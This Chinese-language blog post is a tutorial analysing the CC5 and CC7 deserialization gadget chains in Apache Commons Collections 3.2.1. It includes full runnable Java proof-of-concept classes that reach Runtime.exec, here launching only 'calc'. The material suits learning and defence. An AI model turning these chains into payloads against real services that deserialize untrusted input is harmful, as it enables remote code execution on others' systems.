Java反序列化-Commons-Collections-cc5&cc7

xekOnerR Sleep.. zzzZZzZ

前置

最后两个链,就放在一起讲了。

cc 版本还是3.2.1

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

cc5

分析

先来看 cc5 的作者写的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

看到从 LazyMap.get() 往后都是一样的
(这里 find Usage 实在是太多了,直接进去看了…)

  • TiedMapEntryJAVA/attachments/Pasted image 20260213164939.png

同时 map 也可以在构造函数中赋值,没问题。
JAVA/attachments/Pasted image 20260213165059.png

  • BadAttributeValueExpExceptionJAVA/attachments/Pasted image 20260213165252.png

编写 poc

因为是从 LazyMap.get 开始的,所以我们直接把 cc1 链子的 LazyMap 后边部分拿过来。

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);

然后直接用反射去调用一下 get 方法看看是否可以执行:

1
2
3
Class c = LazyMap.class;  
Method getMethod = c.getMethod("get", Object.class);
getMethod.invoke(lazymap, chainedTransformer);
JAVA/attachments/Pasted image 20260213170740.png

没问题

继续写调用链

  • TideMapEntry
    前面已经分析过了,直接构造函数传进来 map 即可。
1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
  • BadAttributeValueExpExceptionJAVA/attachments/Pasted image 20260213172123.png

这里构造函数要传入 null,因为我们要调用 readObject 里面的 valObj.toString
然后因为 val 不能在构造方法里面赋值,但是该类的父类支持序列化,所以我们可以通过反射的方式修改 val 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package xekoner;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc5Demo {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = badAttributeValueExpException.getClass();
Field valField = c.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
JAVA/attachments/Pasted image 20260213172817.png

总结

JAVA/attachments/Pasted image 20260213172913.png

cc7

前置

环境和 cc5 一样

其他同样还是直接对 yso 师傅的链子进行分析

cc7分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

可以看到后面半条链子和 cc1 一样,所以我们还是从 LazyMap.get 开始分析

依旧先粘贴过来后半部分的代码:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
  • Hashtable.readObject
    readObject 方法中存在一个方法: reconstitutionPut()JAVA/attachments/Pasted image 20260213174355.png

这里的 key 和 value 可以通过 put 方式添加

跟进方法可以看到调用了equals 方法:
JAVA/attachments/Pasted image 20260213174503.png

这里传入的 key 也就是在 AbstractMap.equals() 方法中的参数 m

  • AbstractMapDecorator.equals()

    JAVA/attachments/Pasted image 20260213175931.png
  • AbstractMap.equals()
    实际上调用的是该 java 内置类中的 equals 方法

    JAVA/attachments/Pasted image 20260213173656.png

这里的 m 就是我们传入的参数对象 o

初步 exp

JAVA/attachments/Pasted image 20260213182222.png

这里的 e.hashe.key.equals(key)
这里有一个小特性,如果前半段语句 e.hash == hash 判断为假,那就会直接退出 if 语句;所以我们肯定要让前半段语句能够通过也就是为真

所以我们需要传入两个不同的对象,让 e.hash == hash 判断为真

讲不太清,直接上 exp 讲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1, chainedTransformer);
Lazy1.put("yy",1);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2, chainedTransformer);
Lazy2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,1);
hashtable.put(Lazy2,1);

我们先创建两个 HashMap 用来存放数据
下面创建 hashtable , lazymap 放入。

注意这里必须是 yyzZ
因为涉及到了 hash 碰撞, yyzZhashCode 经过计算后是完全相等的

当这两个 LazyMap 被放入同一个 Hashtable 时,由于它们的 hashCode 相等,put 到第二个时候会执行
if (e.hash == hash && e.key.equals(key)) 方法
因为 hash 相同,所以执行到 Lazy1.equlas(Lazy2)

因为 LazyMap extends AbstractMapDecoratorAbstractMapDecorator implements Map
所以最终会调用到 AbstractMap.java 的 equals 方法中,触发利用链

解决问题

现在 exp 确实可以弹计算器,只不过在本地也可以弹。
所以我们需要解决一下问题:

因为刚才执行 hashtable.put(lazy2, 1) 时,已经触发了 lazy2.get(“yy”)
导致 lazy2 的内部 map 已经包含了 {“yy”: 1, “zZ”: 1}
我们必须把 “yy” 删掉,否则反序列化时不会进入 transform 逻辑

1
map2.remove("yy");

同时对上方的 transformer 进行修改:
JAVA/attachments/Pasted image 20260213185846.png

和之前 cc 链一样,为了避免一些不必要的麻烦
先随便传入一点参数,然后后续 put 完成后再反射改回来

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package xekoner;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7Demo {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1, chainedTransformer);
Lazy1.put("yy",1);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2, chainedTransformer);
Lazy2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,1);
hashtable.put(Lazy2,1);

Class c = ChainedTransformer.class;
Field declaredField = c.getDeclaredField("iTransformers");
declaredField.setAccessible(true);
declaredField.set(chainedTransformer, transformers);

map2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");

}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object obj = in.readObject();
return obj;
}
}
JAVA/attachments/Pasted image 20260214170551.png
  • Title: Java反序列化-Commons-Collections-cc5&cc7
  • Author: xekOnerR
  • Created at : 2026-02-14 17:10:49
  • Updated at : 2026-02-14 17:11:10
  • Link: https://xekoner.xyz/2026/02/14/Java反序列化-Commons-Collections-cc5-cc7/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Java反序列化-Commons-Collections-cc5&cc7